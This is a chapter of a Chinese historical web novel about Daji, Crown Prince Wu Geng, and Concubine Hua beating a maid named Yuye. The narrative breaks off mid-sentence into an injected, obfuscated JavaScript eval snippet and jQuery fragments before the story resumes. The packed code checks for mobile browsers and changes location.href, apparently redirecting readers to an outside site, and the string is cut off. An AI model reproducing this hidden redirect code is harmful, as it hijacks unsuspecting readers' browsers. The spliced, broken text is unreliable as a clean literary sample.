彼时妲己正怔怔地盯着武庚的手出神,对他落在自己脸上的痴凝目光,毫无知觉。忽然“啪”的一声轻响,像是香饼脱模的声音,将她猛地拉回现实。回过神后,妲己不免自嘲地勾了勾嘴角——她竟又走神了,还偏偏想起了那个最不该想起的人。那抹苦笑里藏着说不清的酸涩与无奈,她定了定神,缓缓抬起头看向武庚。
武庚依旧低着头,正用五瓣桃花的模子印制香饼,神情专注得仿佛方才从未抬过头看她一般。妲己见他眉眼间虽仍带着惯有的冷淡,却少了几分起初的疏离与不可亲近,或许是那双与姬发相似的手,模糊了她心中的戒备。
“这里除了寻常花瓣和松香,我另加了些白木香。”武庚将一个精致的木盒递向妲己,语气竟带着几分难得的柔和,“这白木香是费仲寻来送我的,产自极南近海之地,只需剥去树皮,香气便能直冲天际,方圆十里都能闻见。我请太医看过,也亲自试过,香气奇异不说,最关键的是能驱虫。你这延庆殿花木繁多,又临近水源,如今入夏,夜里点着这香再好不过。”
妲己望着他,心中满是疑惑。此刻的武庚,言语温柔,与往日那个孤傲冷僻的太子判若两人。她不禁想起后宫那十五六年的空白,想起王后王氏的深不可测,暗自揣测他是否会为了母后加害自己。可转念一想,武庚性子阴沉骄傲,即便要害她,也该是光明正大的手段,而非这般迂回。更何况,以她的处境,即便真的有阴谋,她也未必能躲开。想通这层,妲己反倒松了口气,权当他今日是真的心情极好。她不再多想,伸手去接香盒,目光不经意间落在盒身上。那是个极为精巧的木盒,雕着芍药纹样,盒身漆成褐色,纹样却是两朵并蒂芍药,一朵嫣红,一朵嫩黄,颜色鲜活欲滴。
“这颜色真好看,是怎么调出来的?”妲己一边伸手去接,一边慢慢抬起头问道。
武庚见她低头发怔,还以为她又在看自己的手,不由得再次痴凝地望向她的脸庞。不料妲己恰好抬头,四目相对的瞬间,武庚已然看呆,竟忘了低头,也忘了回答。直到妲己的指尖快要触到香盒,他才猛地回过神来,心中一慌,下意识地缩了缩手。妲己的手却已伸了出去,两人的指尖在空气中轻轻一碰,像被电流击中一般,双双愣住。
妲己惊得浑身一僵,怔了好半晌才反应过来,慌忙要撤回手。武庚心中一急,竟下意识地伸手去握。可妲己抽手的动作又快又急,他只轻轻触到了她微凉的指尖,便落了空。
被武庚这般唐突,妲己的脸颊瞬间涨得通红。可对方是太子,是大王唯一的子嗣,她既不敢叫嚷,也不敢斥责,只能死死憋着气。她想瞪着武庚表达不满,却又实在不好意思抬头,憋得胸口发闷。低头时瞥见武庚身上的青色衣角,心中更是烦躁,索性猛地别过脸去,不愿再看他一眼。
武庚见她蹙着眉、抿着唇,分明是动了怒,却强忍着不肯说话,连自己的衣角落在她眼里都像是一种冒犯,心中又酸又痛,却无从辩解。他强压下心头的悸动与委屈,低声解释道:“这红色是辰砂,黄色是雌黄,绿色是石绿,都是从山里采来的矿石,磨成细粉才能用。刻在龟甲兽骨上的文字,很多都是用辰砂描的。”
妲己微微一怔,随即明白了他的用意——他是在回答自己方才的问题,也是在给自己找台阶下。他越是刻意不提方才的触碰,便越说明他心中在意。妲己心中慌乱不已,猜不透这太子究竟是有意还是无意,一时没了主意。
“其他的都无妨,只有这雌黄,你轻易别去触碰。”武庚又补充道,语气里带着一丝不易察觉的关切。
“为何?”妲己随口问道,依旧没有抬头看他。
见她肯开口回应,武庚心中稍稍松了口气,只当她也愿意缓和这尴尬的氛围,继续说道:“雌黄有毒。虽可入药,但直接接触总归不好,你别没事去摸盒上的纹样。”
妲己仍旧低着头,目光落在他的衣角上,轻轻点了点头,算是应下了。武庚也不再多言,低头将余下的香粉一一做成香饼,小心地放进其他盒子里,再铺开一块包袱皮,将所有盒子整齐码好,包成一个规整的包袱,提着便要出门。
“送我下去。”武庚的声音冷不丁响起。
“什么?”妲己怀疑自己听错了,猛地抬起头。
“送我下去,你自己。”武庚又冷冷地重复了一遍,不看她一眼,抬脚便往外走。妲己无奈,只好跟上。出了殿门,她唤来一个内侍,想让他替武庚提着包袱,却见武庚冷冷地斜了她一眼。妲己心中一慌,慌忙让内侍退下了。印儿等人深知太子的脾气,见他脸色比寒冰还要冷上几分,也不敢上前询问,任由妲己独自去送。好在有雷灵跟在身边,即便有人要害妲己也难——这猛虎不仅会扑咬,一声咆哮便能震慑众人。
送到最下层台阶时,妲己刚要施礼拜别,武庚却猛地回过身来。他站在下方两级台阶上,目光直直地锁着她,一言不发。妲己起初还有些尴尬窘迫,可这寂静的林子、这带着压迫感的目光,竟让她莫名地生出几分怨恨。她猛地恼羞成怒,冲着武庚喊道:“你少盯着我!”
这话一出,连妲己自己都吓了一跳。武庚显然也没料到她会如此失态,愣了愣,随即上前一步,直视着她的眼睛,冷冷道:“怎么?你怕看?”
“你少这么看着我!”妲己几乎是吼了出来,声音里带着压抑不住的委屈与愤怒。雷灵察觉到主人的怒气,也对着武庚发出“呜呜”的低吼,毛发竖起,摆出戒备的姿态。
武庚轻蔑地瞥了雷灵一眼,又上前一步,与妲己几乎脸贴着脸,目光带着逼视的意味:“我只是看着你,什么也没做,你为何这般生气?”
“我不让你看!”妲己说不出具体的道理,那些深埋心底的委屈、对过往的怀念、对当下的无奈,都化作了莫名的怒火。即便有缘由,她也没法跟武庚说清楚,更懒得解释。
武庚却突然伸手抓住了她的手腕,迟疑了片刻,便要将她往自己怀里拉。妲己心中一惊,拼命用脚抵着地,另一只手紧紧抱住雷灵的脖颈,死活不肯挪动。武庚一时竟没能将她拉过来,又拽了两下,妲己的身子已然向后倾斜,随时都有摔倒的可能。武庚心中一紧,不敢再用力,却依旧不肯松手。妲己拼命挣扎,可他的力气极大,根本抽不出手来。
就在两人僵持不下时,不远处忽然传来一阵喧哗声。妲己心中一惊,挣扎得更厉害了。可武庚依旧冷冷地看着她,丝毫没有畏惧。妲己急得眼泪都快要出来了,对着他哭喊道:“我好歹也是你的庶母!那边的人马上就要来了,若是被人瞧见,你没事,我还怎么活!”
武庚死死瞪了她许久,才缓缓松开了手。若不是妲己一直抱着雷灵,恐怕早已向后倒去摔破后脑。即便有雷灵支撑,她还是踉跄着跌坐在地上。武庚慌忙伸手想去扶,却见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028925|194484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妲己抬起头,眼中满是怒火与戒备地瞪着他,只好收回手,默默站回原地。妲己挣扎着站起身,拍了拍裙摆上的尘土,连一眼都没看武庚,带着雷灵便朝着喧哗声传来的方向走去。
武庚望着她决绝的背影,眉头紧紧皱起,眼底翻涌着复杂的情绪,有不甘,有委屈,还有一丝连他自己都未曾察觉的痛楚。
妲己远远便看见那抹熟悉的红裳——是曼夫人邓氏。她正抱着胳膊站在一旁看热闹,而华嫔则手持一根粗树枝,正卖力地抽打一个婢女。华嫔眼角的余光瞥见了妲己的黄色衣袍,却因有邓氏在旁,并未放在心上,依旧不停地抽打。
“叫你犯贱!叫你想着勾引大王!叫你犯贱!”每骂一句,华嫔便用手中的树枝狠狠抽向那婢女。那树枝足有二指粗细,说是木棍也毫不为过。
妲己定睛望去,那婢女早已被打得奄奄一息,身上的衣裳被抽得破烂不堪,脸上也布满了红肿的鞭痕。虽然她不清楚事情的原委,又有邓氏在场,但见这婢女快要被打死,心中不由得生出几分怜悯。她想起自己初入宫时的惶恐,想起为了生存不得不刻意邀宠的卑微,这婢女的遭遇,像一面镜子,照出了深宫中女子的悲哀。妲己定了定神,开口说道:“华嫔姐姐,何必发这么大的火气?”她先前打听过多,这后宫之中,除了盈嫔比她小两个月,其余女官都比她年长,因此开口唤了声“姐姐”。
妲己开了口,华嫔自然不能再装作看不见。她刚要回头行礼,瞥见妲己身边的雷灵,那猛虎比初见时愈发健壮矍铄,眼中顿时闪过一丝惊惧。邓氏原本只顾着看热闹,此时也注意到了雷灵,心中一惊,直到妲己向她行礼,才怔怔地点了点头回应。华嫔见雷灵并无伤人之意,才慌忙向妲己行了礼。
妲己继续问道:“如今天气炎热,动怒伤肝,于身体无益。这奴才究竟犯了什么错,值得姐姐如此动气?”
“这贱婢原是我宫里的梳头丫鬟!”华嫔咬牙切齿地说道,“我早就听说她不安分,今日趁我不备,竟偷偷溜出寝宫。我遍寻不见,心中怀疑她是奔着大王去的,便往华夏宫方向找来,果然见她鬼鬼祟祟地在附近转悠。我气急了喊她,她还敢拔腿就跑,幸好有侍卫帮忙,才在这里将她擒住。我便从旁边树上折了根树枝,在这里教训她一番!”
“姐姐确定,她是奔着大王去的?”妲己又问。
“这贱婢不知从哪里摘了好些花,恨不得全插在头上!”华嫔说着,指了指地上被打烂的几朵残花。
妲己心中了然,这婢女一直低着头,脸上的伤,想必是华嫔发狠抽打她头上的花时,不小心打到的。看着那婢女蜷缩在地上瑟瑟发抖,哭得撕心裂肺,妲己心中的怜悯更甚。她自己也是被命运裹挟的人,深知在这深宫中,女子的命运如同草芥,稍有不慎便会落得凄惨下场。她轻声问道:“你叫什么名字?”
那婢女抖得厉害,听到问话,缓缓抬起头,露出一张清秀却布满伤痕的脸。她怯怯地看了妲己一眼,又迅速低下头,不敢出声。
“你要死啊!娘娘问你话,你也敢不答?”华嫔见状,怒火更盛,扬起树枝又要抽打。
那婢女吓得哭声更响,呜呜咽咽地报出了自己的名字。妲己没听清,便又问了一遍。华嫔见她回答得含糊不清,更是愤怒,一树枝狠狠抽了下去。那婢女吃痛,猛地挺直了脊背,声音也不自觉地大了些:“玉叶!”